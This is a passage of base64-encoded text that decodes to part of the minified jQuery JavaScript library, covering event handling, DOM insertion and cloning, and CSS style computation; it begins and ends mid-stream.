2U6bmV3IFMuRXZlbnQoZSl9LHNwZWNpYWw6e2xvYWQ6e25vQnViYmxlOiEwfSxjbGljazp7c2V0dXA6ZnVuY3Rpb24oZSl7dmFyIHQ9dGhpc3x8ZTtyZXR1cm4gcGUudGVzdCh0LnR5cGUpJiZ0LmNsaWNrJiZBKHQsImlucHV0IikmJkFlKHQsImNsaWNrIixDZSksITF9LHRyaWdnZXI6ZnVuY3Rpb24oZSl7dmFyIHQ9dGhpc3x8ZTtyZXR1cm4gcGUudGVzdCh0LnR5cGUpJiZ0LmNsaWNrJiZBKHQsImlucHV0IikmJkFlKHQsImNsaWNrIiksITB9LF9kZWZhdWx0OmZ1bmN0aW9uKGUpe3ZhciB0PWUudGFyZ2V0O3JldHVybiBwZS50ZXN0KHQudHlwZSkmJnQuY2xpY2smJkEodCwiaW5wdXQiKSYmWS5nZXQodCwiY2xpY2siKXx8QSh0LCJhIil9fSxiZWZvcmV1bmxvYWQ6e3Bvc3REaXNwYXRjaDpmdW5jdGlvbihlKXt2b2lkIDAhPT1lLnJlc3VsdCYmZS5vcmlnaW5hbEV2ZW50JiYoZS5vcmlnaW5hbEV2ZW50LnJldHVyblZhbHVlPWUucmVzdWx0KX19fX0sUy5yZW1vdmVFdmVudD1mdW5jdGlvbihlLHQsbil7ZS5yZW1vdmVFdmVudExpc3RlbmVyJiZlLnJlbW92ZUV2ZW50TGlzdGVuZXIodCxuKX0sUy5FdmVudD1mdW5jdGlvbihlLHQpe2lmKCEodGhpcyBpbnN0YW5jZW9mIFMuRXZlbnQpKXJldHVybiBuZXcgUy5FdmVudChlLHQpO2UmJmUudHlwZT8odGhpcy5vcmlnaW5hbEV2ZW50PWUsdGhpcy50eXBlPWUudHlwZSx0aGlzLmlzRGVmYXVsdFByZXZlbnRlZD1lLmRlZmF1bHRQcmV2ZW50ZWR8fHZvaWQgMD09PWUuZGVmYXVsdFByZXZlbnRlZCYmITE9PT1lLnJldHVyblZhbHVlP0NlOkVlLHRoaXMudGFyZ2V0PWUudGFyZ2V0JiYzPT09ZS50YXJnZXQubm9kZVR5cGU/ZS50YXJnZXQucGFyZW50Tm9kZTplLnRhcmdldCx0aGlzLmN1cnJlbnRUYXJnZXQ9ZS5jdXJyZW50VGFyZ2V0LHRoaXMucmVsYXRlZFRhcmdldD1lLnJlbGF0ZWRUYXJnZXQpOnRoaXMudHlwZT1lLHQmJlMuZXh0ZW5kKHRoaXMsdCksdGhpcy50aW1lU3RhbXA9ZSYmZS50aW1lU3RhbXB8fERhdGUubm93KCksdGhpc1tTLmV4cGFuZG9dPSEwfSxTLkV2ZW50LnByb3RvdHlwZT17Y29uc3RydWN0b3I6Uy5FdmVudCxpc0RlZmF1bHRQcmV2ZW50ZWQ6RWUsaXNQcm9wYWdhdGlvblN0b3BwZWQ6RWUsaXNJbW1lZGlhdGVQcm9wYWdhdGlvblN0b3BwZWQ6RWUsaXNTaW11bGF0ZWQ6ITEscHJldmVudERlZmF1bHQ6ZnVuY3Rpb24oKXt2YXIgZT10aGlzLm9yaWdpbmFsRXZlbnQ7dGhpcy5pc0RlZmF1bHRQcmV2ZW50ZWQ9Q2UsZSYmIXRoaXMuaXNTaW11bGF0ZWQmJmUucHJldmVudERlZmF1bHQoKX0sc3RvcFByb3BhZ2F0aW9uOmZ1bmN0aW9uKCl7dmFyIGU9dGhpcy5vcmlnaW5hbEV2ZW50O3RoaXMuaXNQcm9wYWdhdGlvblN0b3BwZWQ9Q2UsZSYmIXRoaXMuaXNTaW11bGF0ZWQmJmUuc3RvcFByb3BhZ2F0aW9uKCl9LHN0b3BJbW1lZGlhdGVQcm9wYWdhdGlvbjpmdW5jdGlvbigpe3ZhciBlPXRoaXMub3JpZ2luYWxFdmVudDt0aGlzLmlzSW1tZWRpYXRlUHJvcGFnYXRpb25TdG9wcGVkPUNlLGUmJiF0aGlzLmlzU2ltdWxhdGVkJiZlLnN0b3BJbW1lZGlhdGVQcm9wYWdhdGlvbigpLHRoaXMuc3RvcFByb3BhZ2F0aW9uKCl9fSxTLmVhY2goe2FsdEtleTohMCxidWJibGVzOiEwLGNhbmNlbGFibGU6ITAsY2hhbmdlZFRvdWNoZXM6ITAsY3RybEtleTohMCxkZXRhaWw6ITAsZXZlbnRQaGFzZTohMCxtZXRhS2V5OiEwLHBhZ2VYOiEwLHBhZ2VZOiEwLHNoaWZ0S2V5OiEwLHZpZXc6ITAsImNoYXIiOiEwLGNvZGU6ITAsY2hhckNvZGU6ITAsa2V5OiEwLGtleUNvZGU6ITAsYnV0dG9uOiEwLGJ1dHRvbnM6ITAsY2xpZW50WDohMCxjbGllbnRZOiEwLG9mZnNldFg6ITAsb2Zmc2V0WTohMCxwb2ludGVySWQ6ITAscG9pbnRlclR5cGU6ITAsc2NyZWVuWDohMCxzY3JlZW5ZOiEwLHRhcmdldFRvdWNoZXM6ITAsdG9FbGVtZW50OiEwLHRvdWNoZXM6ITAsd2hpY2g6ZnVuY3Rpb24oZSl7dmFyIHQ9ZS5idXR0b247cmV0dXJuIG51bGw9PWUud2hpY2gmJmJlLnRlc3QoZS50eXBlKT9udWxsIT1lLmNoYXJDb2RlP2UuY2hhckNvZGU6ZS5rZXlDb2RlOiFlLndoaWNoJiZ2b2lkIDAhPT10JiZ3ZS50ZXN0KGUudHlwZSk/MSZ0PzE6MiZ0PzM6NCZ0PzI6MDplLndoaWNofX0sUy5ldmVudC5hZGRQcm9wKSxTLmVhY2goe2ZvY3VzOiJmb2N1c2luIixibHVyOiJmb2N1c291dCJ9LGZ1bmN0aW9uKGUsdCl7Uy5ldmVudC5zcGVjaWFsW2VdPXtzZXR1cDpmdW5jdGlvbigpe3JldHVybiBBZSh0aGlzLGUsU2UpLCExfSx0cmlnZ2VyOmZ1bmN0aW9uKCl7cmV0dXJuIEFlKHRoaXMsZSksITB9LGRlbGVnYXRlVHlwZTp0fX0pLFMuZWFjaCh7bW91c2VlbnRlcjoibW91c2VvdmVyIixtb3VzZWxlYXZlOiJtb3VzZW91dCIscG9pbnRlcmVudGVyOiJwb2ludGVyb3ZlciIscG9pbnRlcmxlYXZlOiJwb2ludGVyb3V0In0sZnVuY3Rpb24oZSxpKXtTLmV2ZW50LnNwZWNpYWxbZV09e2RlbGVnYXRlVHlwZTppLGJpbmRUeXBlOmksaGFuZGxlOmZ1bmN0aW9uKGUpe3ZhciB0LG49ZS5yZWxhdGVkVGFyZ2V0LHI9ZS5oYW5kbGVPYmo7cmV0dXJuIG4mJihuPT09dGhpc3x8Uy5jb250YWlucyh0aGlzLG4pKXx8KGUudHlwZT1yLm9yaWdUeXBlLHQ9ci5oYW5kbGVyLmFwcGx5KHRoaXMsYXJndW1lbnRzKSxlLnR5cGU9aSksdH19fSksUy5mbi5leHRlbmQoe29uOmZ1bmN0aW9uKGUsdCxuLHIpe3JldHVybiBrZSh0aGlzLGUsdCxuLHIpfSxvbmU6ZnVuY3Rpb24oZSx0LG4scil7cmV0dXJuIGtlKHRoaXMsZSx0LG4sciwxKX0sb2ZmOmZ1bmN0aW9uKGUsdCxuKXt2YXIgcixpO2lmKGUmJmUucHJldmVudERlZmF1bHQmJmUuaGFuZGxlT2JqKXJldHVybiByPWUuaGFuZGxlT2JqLFMoZS5kZWxlZ2F0ZVRhcmdldCkub2ZmKHIubmFtZXNwYWNlP3Iub3JpZ1R5cGUrIi4iK3IubmFtZXNwYWNlOnIub3JpZ1R5cGUsci5zZWxlY3RvcixyLmhhbmRsZXIpLHRoaXM7aWYoIm9iamVjdCI9PXR5cGVvZiBlKXtmb3IoaSBpbiBlKXRoaXMub2ZmKGksdCxlW2ldKTtyZXR1cm4gdGhpc31yZXR1cm4hMSE9PXQmJiJmdW5jdGlvbiIhPXR5cGVvZiB0fHwobj10LHQ9dm9pZCAwKSwhMT09PW4mJihuPUVlKSx0aGlzLmVhY2goZnVuY3Rpb24oKXtTLmV2ZW50LnJlbW92ZSh0aGlzLGUsbix0KX0pfX0pO3ZhciBOZT0vPHNjcmlwdHw8c3R5bGV8PGxpbmsvaSxEZT0vY2hlY2tlZFxzKig/OltePV18PVxzKi5jaGVja2VkLikvaSxqZT0vXlxzKjwhKD86XFtDREFUQVxbfC0tKXwoPzpcXVxdfC0tKT5ccyokL2c7ZnVuY3Rpb24gcWUoZSx0KXtyZXR1cm4gQShlLCJ0YWJsZSIpJiZBKDExIT09dC5ub2RlVHlwZT90OnQuZmlyc3RDaGlsZCwidHIiKSYmUyhlKS5jaGlsZHJlbigidGJvZHkiKVswXXx8ZX1mdW5jdGlvbiBMZShlKXtyZXR1cm4gZS50eXBlPShudWxsIT09ZS5nZXRBdHRyaWJ1dGUoInR5cGUiKSkrIi8iK2UudHlwZSxlfWZ1bmN0aW9uIEhlKGUpe3JldHVybiJ0cnVlLyI9PT0oZS50eXBlfHwiIikuc2xpY2UoMCw1KT9lLnR5cGU9ZS50eXBlLnNsaWNlKDUpOmUucmVtb3ZlQXR0cmlidXRlKCJ0eXBlIiksZX1mdW5jdGlvbiBPZShlLHQpe3ZhciBuLHIsaSxvLGEscztpZigxPT09dC5ub2RlVHlwZSl7aWYoWS5oYXNEYXRhKGUpJiYocz1ZLmdldChlKS5ldmVudHMpKWZvcihpIGluIFkucmVtb3ZlKHQsImhhbmRsZSBldmVudHMiKSxzKWZvcihuPTAscj1zW2ldLmxlbmd0aDtuPHI7bisrKVMuZXZlbnQuYWRkKHQsaSxzW2ldW25dKTtRLmhhc0RhdGEoZSkmJihvPVEuYWNjZXNzKGUpLGE9Uy5leHRlbmQoe30sbyksUS5zZXQodCxhKSl9fWZ1bmN0aW9uIFBlKG4scixpLG8pe3I9ZyhyKTt2YXIgZSx0LGEscyx1LGwsYz0wLGY9bi5sZW5ndGgscD1mLTEsZD1yWzBdLGg9bShkKTtpZihofHwxPGYmJiJzdHJpbmciPT10eXBlb2YgZCYmIXkuY2hlY2tDbG9uZSYmRGUudGVzdChkKSlyZXR1cm4gbi5lYWNoKGZ1bmN0aW9uKGUpe3ZhciB0PW4uZXEoZSk7aCYmKHJbMF09ZC5jYWxsKHRoaXMsZSx0Lmh0bWwoKSkpLFBlKHQscixpLG8pfSk7aWYoZiYmKHQ9KGU9eGUocixuWzBdLm93bmVyRG9jdW1lbnQsITEsbixvKSkuZmlyc3RDaGlsZCwxPT09ZS5jaGlsZE5vZGVzLmxlbmd0aCYmKGU9dCksdHx8bykpe2ZvcihzPShhPVMubWFwKHZlKGUsInNjcmlwdCIpLExlKSkubGVuZ3RoO2M8ZjtjKyspdT1lLGMhPT1wJiYodT1TLmNsb25lKHUsITAsITApLHMmJlMubWVyZ2UoYSx2ZSh1LCJzY3JpcHQiKSkpLGkuY2FsbChuW2NdLHUsYyk7aWYocylmb3IobD1hW2EubGVuZ3RoLTFdLm93bmVyRG9jdW1lbnQsUy5tYXAoYSxIZSksYz0wO2M8cztjKyspdT1hW2NdLGhlLnRlc3QodS50eXBlfHwiIikmJiFZLmFjY2Vzcyh1LCJnbG9iYWxFdmFsIikmJlMuY29udGFpbnMobCx1KSYmKHUuc3JjJiYibW9kdWxlIiE9PSh1LnR5cGV8fCIiKS50b0xvd2VyQ2FzZSgpP1MuX2V2YWxVcmwmJiF1Lm5vTW9kdWxlJiZTLl9ldmFsVXJsKHUuc3JjLHtub25jZTp1Lm5vbmNlfHx1LmdldEF0dHJpYnV0ZSgibm9uY2UiKX0sbCk6Yih1LnRleHRDb250ZW50LnJlcGxhY2UoamUsIiIpLHUsbCkpfXJldHVybiBufWZ1bmN0aW9uIFJlKGUsdCxuKXtmb3IodmFyIHIsaT10P1MuZmlsdGVyKHQsZSk6ZSxvPTA7bnVsbCE9KHI9aVtvXSk7bysrKW58fDEhPT1yLm5vZGVUeXBlfHxTLmNsZWFuRGF0YSh2ZShyKSksci5wYXJlbnROb2RlJiYobiYmaWUocikmJnllKHZlKHIsInNjcmlwdCIpKSxyLnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQocikpO3JldHVybiBlfVMuZXh0ZW5kKHtodG1sUHJlZmlsdGVyOmZ1bmN0aW9uKGUpe3JldHVybiBlfSxjbG9uZTpmdW5jdGlvbihlLHQsbil7dmFyIHIsaSxvLGEscyx1LGwsYz1lLmNsb25lTm9kZSghMCksZj1pZShlKTtpZighKHkubm9DbG9uZUNoZWNrZWR8fDEhPT1lLm5vZGVUeXBlJiYxMSE9PWUubm9kZVR5cGV8fFMuaXNYTUxEb2MoZSkpKWZvcihhPXZlKGMpLHI9MCxpPShvPXZlKGUpKS5sZW5ndGg7cjxpO3IrKylzPW9bcl0sdT1hW3JdLHZvaWQgMCwiaW5wdXQiPT09KGw9dS5ub2RlTmFtZS50b0xvd2VyQ2FzZSgpKSYmcGUudGVzdChzLnR5cGUpP3UuY2hlY2tlZD1zLmNoZWNrZWQ6ImlucHV0IiE9PWwmJiJ0ZXh0YXJlYSIhPT1sfHwodS5kZWZhdWx0VmFsdWU9cy5kZWZhdWx0VmFsdWUpO2lmKHQpaWYobilmb3Iobz1vfHx2ZShlKSxhPWF8fHZlKGMpLHI9MCxpPW8ubGVuZ3RoO3I8aTtyKyspT2Uob1tyXSxhW3JdKTtlbHNlIE9lKGUsYyk7cmV0dXJuIDA8KGE9dmUoYywic2NyaXB0IikpLmxlbmd0aCYmeWUoYSwhZiYmdmUoZSwic2NyaXB0IikpLGN9LGNsZWFuRGF0YTpmdW5jdGlvbihlKXtmb3IodmFyIHQsbixyLGk9Uy5ldmVudC5zcGVjaWFsLG89MDt2b2lkIDAhPT0obj1lW29dKTtvKyspaWYoVihuKSl7aWYodD1uW1kuZXhwYW5kb10pe2lmKHQuZXZlbnRzKWZvcihyIGluIHQuZXZlbnRzKWlbcl0/Uy5ldmVudC5yZW1vdmUobixyKTpTLnJlbW92ZUV2ZW50KG4scix0LmhhbmRsZSk7bltZLmV4cGFuZG9dPXZvaWQgMH1uW1EuZXhwYW5kb10mJihuW1EuZXhwYW5kb109dm9pZCAwKX19fSksUy5mbi5leHRlbmQoe2RldGFjaDpmdW5jdGlvbihlKXtyZXR1cm4gUmUodGhpcyxlLCEwKX0scmVtb3ZlOmZ1bmN0aW9uKGUpe3JldHVybiBSZSh0aGlzLGUpfSx0ZXh0OmZ1bmN0aW9uKGUpe3JldHVybiAkKHRoaXMsZnVuY3Rpb24oZSl7cmV0dXJuIHZvaWQgMD09PWU/Uy50ZXh0KHRoaXMpOnRoaXMuZW1wdHkoKS5lYWNoKGZ1bmN0aW9uKCl7MSE9PXRoaXMubm9kZVR5cGUmJjExIT09dGhpcy5ub2RlVHlwZSYmOSE9PXRoaXMubm9kZVR5cGV8fCh0aGlzLnRleHRDb250ZW50PWUpfSl9LG51bGwsZSxhcmd1bWVudHMubGVuZ3RoKX0sYXBwZW5kOmZ1bmN0aW9uKCl7cmV0dXJuIFBlKHRoaXMsYXJndW1lbnRzLGZ1bmN0aW9uKGUpezEhPT10aGlzLm5vZGVUeXBlJiYxMSE9PXRoaXMubm9kZVR5cGUmJjkhPT10aGlzLm5vZGVUeXBlfHxxZSh0aGlzLGUpLmFwcGVuZENoaWxkKGUpfSl9LHByZXBlbmQ6ZnVuY3Rpb24oKXtyZXR1cm4gUGUodGhpcyxhcmd1bWVudHMsZnVuY3Rpb24oZSl7aWYoMT09PXRoaXMubm9kZVR5cGV8fDExPT09dGhpcy5ub2RlVHlwZXx8OT09PXRoaXMubm9kZVR5cGUpe3ZhciB0PXFlKHRoaXMsZSk7dC5pbnNlcnRCZWZvcmUoZSx0LmZpcnN0Q2hpbGQpfX0pfSxiZWZvcmU6ZnVuY3Rpb24oKXtyZXR1cm4gUGUodGhpcyxhcmd1bWVudHMsZnVuY3Rpb24oZSl7dGhpcy5wYXJlbnROb2RlJiZ0aGlzLnBhcmVudE5vZGUuaW5zZXJ0QmVmb3JlKGUsdGhpcyl9KX0sYWZ0ZXI6ZnVuY3Rpb24oKXtyZXR1cm4gUGUodGhpcyxhcmd1bWVudHMsZnVuY3Rpb24oZSl7dGhpcy5wYXJlbnROb2RlJiZ0aGlzLnBhcmVudE5vZGUuaW5zZXJ0QmVmb3JlKGUsdGhpcy5uZXh0U2libGluZyl9KX0sZW1wdHk6ZnVuY3Rpb24oKXtmb3IodmFyIGUsdD0wO251bGwhPShlPXRoaXNbdF0pO3QrKykxPT09ZS5ub2RlVHlwZSYmKFMuY2xlYW5EYXRhKHZlKGUsITEpKSxlLnRleHRDb250ZW50PSIiKTtyZXR1cm4gdGhpc30sY2xvbmU6ZnVuY3Rpb24oZSx0KXtyZXR1cm4gZT1udWxsIT1lJiZlLHQ9bnVsbD09dD9lOnQsdGhpcy5tYXAoZnVuY3Rpb24oKXtyZXR1cm4gUy5jbG9uZSh0aGlzLGUsdCl9KX0saHRtbDpmdW5jdGlvbihlKXtyZXR1cm4gJCh0aGlzLGZ1bmN0aW9uKGUpe3ZhciB0PXRoaXNbMF18fHt9LG49MCxyPXRoaXMubGVuZ3RoO2lmKHZvaWQgMD09PWUmJjE9PT10Lm5vZGVUeXBlKXJldHVybiB0LmlubmVySFRNTDtpZigic3RyaW5nIj09dHlwZW9mIGUmJiFOZS50ZXN0KGUpJiYhZ2VbKGRlLmV4ZWMoZSl8fFsiIiwiIl0pWzFdLnRvTG93ZXJDYXNlKCldKXtlPVMuaHRtbFByZWZpbHRlcihlKTt0cnl7Zm9yKDtuPHI7bisrKTE9PT0odD10aGlzW25dfHx7fSkubm9kZVR5cGUmJihTLmNsZWFuRGF0YSh2ZSh0LCExKSksdC5pbm5lckhUTUw9ZSk7dD0wfWNhdGNoKGUpe319dCYmdGhpcy5lbXB0eSgpLmFwcGVuZChlKX0sbnVsbCxlLGFyZ3VtZW50cy5sZW5ndGgpfSxyZXBsYWNlV2l0aDpmdW5jdGlvbigpe3ZhciBuPVtdO3JldHVybiBQZSh0aGlzLGFyZ3VtZW50cyxmdW5jdGlvbihlKXt2YXIgdD10aGlzLnBhcmVudE5vZGU7Uy5pbkFycmF5KHRoaXMsbik8MCYmKFMuY2xlYW5EYXRhKHZlKHRoaXMpKSx0JiZ0LnJlcGxhY2VDaGlsZChlLHRoaXMpKX0sbil9fSksUy5lYWNoKHthcHBlbmRUbzoiYXBwZW5kIixwcmVwZW5kVG86InByZXBlbmQiLGluc2VydEJlZm9yZToiYmVmb3JlIixpbnNlcnRBZnRlcjoiYWZ0ZXIiLHJlcGxhY2VBbGw6InJlcGxhY2VXaXRoIn0sZnVuY3Rpb24oZSxhKXtTLmZuW2VdPWZ1bmN0aW9uKGUpe2Zvcih2YXIgdCxuPVtdLHI9UyhlKSxpPXIubGVuZ3RoLTEsbz0wO288PWk7bysrKXQ9bz09PWk/dGhpczp0aGlzLmNsb25lKCEwKSxTKHJbb10pW2FdKHQpLHUuYXBwbHkobix0LmdldCgpKTtyZXR1cm4gdGhpcy5wdXNoU3RhY2sobil9fSk7dmFyIE1lPW5ldyBSZWdFeHAoIl4oIitlZSsiKSg/IXB4KVthLXolXSskIiwiaSIpLEllPWZ1bmN0aW9uKGUpe3ZhciB0PWUub3duZXJEb2N1bWVudC5kZWZhdWx0VmlldztyZXR1cm4gdCYmdC5vcGVuZXJ8fCh0PUMpLHQuZ2V0Q29tcHV0ZWRTdHlsZShlKX0sV2U9ZnVuY3Rpb24oZSx0LG4pe3ZhciByLGksbz17fTtmb3IoaSBpbiB0KW9baV09ZS5zdHlsZVtpXSxlLnN0eWxlW2ldPXRbaV07Zm9yKGkgaW4gcj1uLmNhbGwoZSksdCllLnN0eWxlW2ldPW9baV07cmV0dXJuIHJ9LEZlPW5ldyBSZWdFeHAobmUuam9pbigifCIpLCJpIik7ZnVuY3Rpb24gQmUoZSx0LG4pe3ZhciByLGksbyxhLHM9ZS5zdHlsZTtyZXR1cm4obj1ufHxJZShlKSkmJigiIiE9PShhPW4uZ2V0UHJvcGVydHlWYWx1ZSh0KXx8blt0XSl8fGllKGUpfHwoYT1TLnN0eWxlKGUsdCkpLCF5LnBpeGVsQm94U3R5bGVzKCkmJk1lLnRlc3QoYSkmJkZlLnRlc3QodCkmJihyPXMud2lkdGgsaT1zLm1pbldpZHRoLG89cy5tYXhXaWR0aCxzLm1pbldpZHRoPXMubWF4V2lkdGg9cy53aWR0aD1hLGE9bi53aWR0aCxzLndpZHRoPXIscy5taW5XaWR0aD1pLHMubWF4V2lkdGg9bykpLHZvaWQgMCE9PWE/YSsiIjphfWZ1bmN0aW9uICRlKGUsdCl7cmV0dXJue2dldDpmdW5jdGlvbigpe2lmKCFlKCkpcmV0dXJuKHRoaXMuZ2V0PXQpLmFwcGx5KHRoaXMsYXJndW1lbnRzKTtkZWxldGUgdGhpcy5nZXR9fX0hZnVuY3Rpb24oKXtmdW5jdGlvbiBlKCl7aWYobCl7dS5zdHlsZS5jc3NUZXh0PSJwb3NpdGlvbjphYnNvbHV0ZTtsZWZ0Oi0xMTExMXB4O3dpZHRoOjYwcHg7bWFyZ2luLXRvcDoxcHg7cGFkZGluZzowO2JvcmRlcjowIixsLnN0eWxlLmNzc1RleHQ9InBvc2l0aW9uOnJlbGF0aXZlO2Rpc3BsYXk6YmxvY2s7Ym94LXNpemluZzpib3JkZXItYm94O292ZXJmbG93OnNjcm9sbDttYXJnaW46YXV0bztib3JkZXI6MXB4O3BhZGRpbmc6MXB4O3dpZHRoOjYwJTt0b3A6MSUiLHJlLmFwcGVuZENoaWxkKHUpLmFwcGVuZENoaWxkKGwpO3ZhciBlPUMuZ2V0Q29tcHV0ZWRTdHlsZShsKTtuPSIxJSIhPT1lLnRvcCxzPTEyPT09dChlLm1hcmdpbkxlZnQpLGwuc3R5bGUucmlnaHQ9IjYwJSIsbz0zNj09PXQoZS5yaWdodCkscj0zNj09PXQoZS53aWR0aCksbC5zdHlsZS5wb3NpdGlvbj0iYWJzb2x1dGUiLGk9MTI9PT10KGwub2Zmc2V0V2lkdGgvMykscmUucmVtb3ZlQ2hpbGQodSksbD1udWxsfX1mdW5jdGlvbiB0KGUpe3JldHVybiBNYXRoLnJvdW5kKHBhcnNlRmxvYXQoZSkpfXZhciBuLHIsaSxvLGEscyx1PUUuY3JlYXRlRWxlbWVudCgiZGl2IiksbD1FLmNyZWF0ZUVsZW1lbnQoImRpdiIpO2wuc3R5bGUmJihsLnN0eWxlLmJhY2tncm91bmRDbGlwPSJjb250ZW50LWJveCIsbC5jbG9uZU5vZGUoITApLnN0eWxlLmJhY2tncm91bmRDbGlwPSIiLHkuY2xlYXJDbG9uZVN0eWxlPSJjb250ZW50LWJveCI9PT1sLnN0eWxlLmJhY2tncm91bmRDbGlwLFMuZXh0ZW5kKHkse2JveFNpemluZ1JlbGlhYmxlOmZ1bmN0aW9uKCl7cmV0dXJuIGUoKSxyfSxwaXhlbEJveFN0eWxlczpmdW5jdGlvbigpe3JldHVybiBlKCksb30scGl4ZWxQb3NpdGlvbjpmdW5jdGlvbigpe3JldHVybiBlKCksbn0scmVsaWFibGVNYXJnaW5MZWZ0OmZ1bmN0aW9uKCl7cmV0dXJuIGUoKSxzfSxzY3JvbGxib3hTaXplOmZ1bmN0aW9uKCl7cmV0dXJuIGUoKSxpfSxyZWxpYWJsZVRyRGltZW5zaW9uczpmdW5jdGlvbigpe3ZhciBlLHQsbixyO3JldHVybiBudWxsPT1hJiYoZT1FLmNyZWF0ZUVsZW1lbnQoInRhYmxlIiksdD1FLmNyZWF0ZUVsZW1lbnQoInRyIiksbj1FLmNyZWF0ZUVsZW1lbnQoImRpdiIpLGUuc3R5bGUuY3NzVGV4dD0icG9zaXRpb246YWJzb2x1dGU7bGVmdDotMTExMTFweCIsdC5zdHlsZS5oZWlnaHQ9IjFweCIsbi5zdHlsZS5oZWlnaHQ9IjlweCIscmUuYXBwZW5kQ2hpbGQoZSkuYXBwZW5kQ2hpbGQodCkuYXBwZW5kQ2hpbGQobikscj1DLmdldENvbXB1dGVkU3R5bGUodCksYT0zPHBhcnNlSW50KHIuaGVpZ2h0KSxyZS5yZW1vdmVDaGlsZChlKSksYX19KSl9KCk7dmFyIF9lPVsiV2Via2l0IiwiTW96IiwibXMiXSx6ZT1FLmNyZWF0ZUVsZW1lbnQoImRpdiIpLnN0eWxlLFVlPXt9O2Z1bmN0aW9uIFhlKGUpe3ZhciB0PVMuY3NzUHJvcHNbZV18fFVlW2VdO3JldHVybiB0fHwoZSBpbiB6ZT9lOlVlW2VdPWZ1bmN0aW9uKGUpe3ZhciB0PWVbMF0udG9VcHBlckNhc2UoKStlLnNsaWNlKDEpLG49X2UubGVuZ3RoO3doaWxlKG4tLSlpZigoZT1fZVtuXSt0KWluIHplKXJldHVybiBlfShlKXx8ZSl9dmFyIFZlPS9eKG5vbmV8dGFibGUoPyEtY1tlYV0pLispLyxHZT0vXi0tLyxZZT17cG9zaXRpb246ImFic29sdXRlIix2aXNpYmlsaXR5OiJoaWRkZW4iLGRpc3BsYXk6ImJsb2NrIn0sUWU9e2xldHRlclNwYWNpbmc6IjAiLGZvbnRXZWlnaHQ6IjQwMCJ9O2Z1bmN0aW9uIEplKGUsdCxuKXt2YXIgcj10ZS5leGVjKHQpO3JldHVybiByP01hdGgubWF4KDAsclsyXS0obnx8MCkpKyhyWzNdfHwicHgiKTp0fWZ1bmN0aW9uIEtlKGUsdCxuLHIsaSxvKXt2YXIgYT0id2lkdGgiPT09dD8xOjAscz0wLHU9MDtpZihuPT09KHI/ImJvcmRlciI6ImNvbnRlbnQiKSlyZXR1cm4gMDtmb3IoO2E8NDthKz0yKSJtYXJnaW4iPT09biYmKHUrPVMuY3NzKGUsbituZVthXSwhMCxpKSkscj8oImNvbnRlbnQiPT09biYmKHUtPVMuY3NzKGUsInBhZGRpbmciK25lW2FdLCEwLGkpKSwibWFyZ2luIiE9PW4mJih1LT1TLmNzcyhlLCJib3JkZXIiK25lW2FdKyJXaWR0aCIsITAsaSkpKToodSs9Uy5jc3MoZSwicGFkZGluZyIrbmVbYV0sITAsaSksInBhZGRpbmciIT09bj91Kz1TLmNzcyhlLCJib3JkZXIiK25lW2FdKyJXaWR0aCIsITAsaSk6cys9Uy5jc3MoZSwiYm9yZGVyIituZVthXSsiV2lkdGgiLCEwLGkpKTtyZXR1cm4hciYmMDw9byYmKHUrPU1hdGgubWF4KDAsTWF0aC5jZWlsKGVbIm9mZnNldCIrdFswXS50b1VwcGVyQ2FzZSgpK3Quc2xpY2UoMSldLW8tdS1zLS41KSl8fDApLHV9ZnVuY3Rpb24gWmUoZSx0LG4pe3ZhciByPUllKGUpLGk9KCF5LmJveFNpemluZ1JlbGlhYmxlKCl8fG4pJiYiYm9yZGVyLWJveCI9PT1TLmNzcyhlLCJib3hTaXppbmciLCExLHIpLG89aSxhPUJlKGUsdCxyKSxzPSJvZmZzZXQiK3RbMF0udG9VcHBlckNhc2UoKSt0LnNsaWNlKDEpO2lmKE1lLnRlc3QoYSkpe2lmKCFuKXJldHVybiBhO2E9ImF1dG8ifXJldHVybigheS5ib3hTaXppbmdSZWxpYWJsZSgpJiZpfHwheS5yZWxpYWJsZVRyRGltZW5zaW9ucygpJiZBKGUsInRyIil8fCJhdXRvIj09PWF8fCFwYXJzZUZsb2F0KGEpJiYiaW5saW5lIj09PVMuY3NzKGUsImRpc3BsYXkiLCExLHIpKSYmZS5nZXRDbGllbnRSZWN0cygpLmxlbmd0aCYmKGk9ImJvcmRlci1ib3giPT09Uy5jc3MoZSwiYm94U2l6aW5nIiwhMSxyKSwobz1zIGluIGUpJiYoYT1lW3NdKSksKGE9cGFyc2VGbG9hdChhKXx8MCkrS2UoZSx0LG58fChpPyJib3JkZXIiOiJjb250ZW50IiksbyxyLGEpKyJweCJ9ZnVuY3Rpb24gZXQoZSx0LG4scixpKXtyZXR1cm4gbmV3IGV0LnByb3RvdHlwZS5pbml0KGUsdCxuLHIsaSl9Uy5leHRlbmQoe2Nzc0hvb2tzOntvcGFjaXR5OntnZXQ6ZnVuY3Rpb24oZSx0KXtpZih0KXt2YXIgbj1CZShlLCJvcGFjaXR5Iik7cmV0dXJuIiI9PT1uPyIxIjpufX19fSxjc3NOdW1iZXI6e2FuaW1hdGlvbkl0ZXJhdGlvbkNvdW50OiEwLGNvbHVtbkNvdW50OiEwLGZpbGxPcGFjaXR5OiEwLGZsZXhHcm93OiEwLGZsZXhTaHJpbms6ITAsZm9udFdlaWdodDohMCxncmlkQXJlYTohMCxncmlkQ29sdW1uOiEwLGdyaWRDb2x1bW5FbmQ6ITAsZ3JpZENvbHVtblN0YXJ0OiEwLGdyaWRSb3c6ITAsZ3JpZFJvd0VuZDohMCxncmlkUm93U3RhcnQ6ITAsbGluZUhlaWdodDohMCxvcGFjaXR5OiEwLG9yZGVyOiEwLG9ycGhhbnM6ITAsd2lkb3dzOiEwLHpJbmRleDohMCx6b29tOiEwfSxjc3NQcm9wczp7fSxzdHlsZTpmdW5jdGlvbihlLHQsbixyKXtpZihlJiYzIT09ZS5ub2RlVHlwZSYmOCE9PWUubm9kZVR5cGUmJmUuc3R5bGUpe3ZhciBpLG8sYSxzPVgodCksdT1HZS50ZXN0KHQpLGw9ZS5zdHlsZTtpZih1fHwodD1YZShzKSksYT1TLmNzc0hvb2tzW3RdfHxTLmNzc0hvb2tzW3NdLHZvaWQgMD09PW4pcmV0dXJuIGEmJiJnZXQiaW4gYSYmdm9pZCAwIT09KGk9YS5nZXQoZSwhMSxyKSk/aTpsW3RdOyJzdHJpbmciPT09KG89dHlwZW9mIG4pJiYoaT10ZS5leGVjKG4pKSYmaVsxXSYmKG49c2UoZSx0LGkpLG89Im51bWJlciIpLG51bGwhPW4mJm49PW4mJigibnVtYmVyIiE9PW98fHV8fChuKz1pJiZpWzNdfHwoUy5jc3NOdW1iZXJbc10/IiI6InB4IikpLHkuY2xlYXJDbG9uZVN0eWxlfHwiIiE9